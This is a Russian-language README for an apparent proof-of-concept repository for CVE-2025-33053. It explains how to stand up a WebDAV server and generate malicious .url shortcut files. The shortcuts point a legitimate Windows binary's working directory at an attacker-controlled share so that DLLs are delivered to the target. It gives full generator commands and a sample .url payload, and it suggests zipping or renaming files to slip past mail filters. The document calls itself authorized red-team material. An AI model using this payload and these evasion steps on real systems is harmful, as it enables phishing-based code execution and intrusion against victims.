CVE-2025-33053 Proof Of Concept

Этот репозиторий предоставляет скрипты для автоматического развёртывания WebDAV-сервера на Ubuntu с помощью Apache2 и генерации вредоносных файлов ярлыков .url для использования в фишинге, red teaming или симуляции бокового перемещения.

---

📁 Содержимое

• setup_webdav.sh – Bash-скрипт для настройки Apache2 + WebDAV.
• setup_webdav.py – Python-версия вышеуказанного.
• gen_url.py – Python-скрипт для генерации файлов ярлыков .url с UNC/WebDAV-путями.
• README.md – Документация.

---

🔧 Требования

• ОС: Ubuntu 20.04 или новее (совместимая с Debian)
• Привилегии root (sudo)
• Python 3.x

---

🚀 Инструкция по настройке

1. WebDAV-сервер (через Bash)

sudo bash setup_webdav.sh

Или с помощью Python:

sudo python3 setup_webdav.py

По умолчанию скрипт:

• Установит Apache и необходимые модули WebDAV.
• Создаст общую директорию /var/www/webdav.
• Включит модули DAV и DAV_FS.
• Создаст директорию DavLockDB (для предотвращения ошибок блокировки Apache DAV).
• Перезапустит службу Apache.

📎 Путь WebDAV: http://<ваш-ip>/webdav/

---

💣 Генерация вредоносного ярлыка .url

Пример использования:

python3 gen_url.py --ip 192.168.1.100 --out doc.url

Все опции:

python3 gen_url.py \
  --ip 《ВАШ IP-АДРЕС》\
  --share 《ИМЯ ОБЩЕГО РЕСУРСА》(По умолчанию: webdav) \
  --out 《ИМЯ ВЫХОДНОГО ФАЙЛА.url》(По умолчанию: bait.url) \
  --exe "C:\Program Files\Internet Explorer\iediagcmd.exe" \
  --icon "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" \
  --index 13 \
  --modified 20F06BA06D07BD014D

Это создаст файл .url следующего вида:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.100\webdav\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

📌 Нажатие на этот файл (при определённых конфигурациях) может заставить целевую систему автоматически подключиться к вашему WebDAV-серверу (аутентификация или доставка DLL).

---

🔒 Примечания для тестирования безопасности

• Отключите брандмауэр (или откройте порт 80), если тестируете в локальной сети:

  sudo ufw allow 80
  

• Файлы .url могут не выполняться так, как ожидается, в зависимости от:
  • Ограничений групповой политики
  • Настроек приложений по умолчанию
  • Почтового клиента (Gmail может их очищать)
• Возможно, потребуется заархивировать или переименовать .url в .txt, чтобы обойти фильтры.

---

⚠️ Юридическое предупреждение

Этот репозиторий предназначен только для образовательного и авторизованного тестирования на проникновение.
Не используйте эти скрипты против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.

---

🧠 Ссылки

• Настройка WebDAV-сервера - LinuxConfig.org
• Конфигурация WebDAV Apache - Peter Girnus
• Документация Microsoft WebDAV

---

📬 Контакты

По вопросам или запросам на этичный red teaming обращайтесь через issues на GitHub.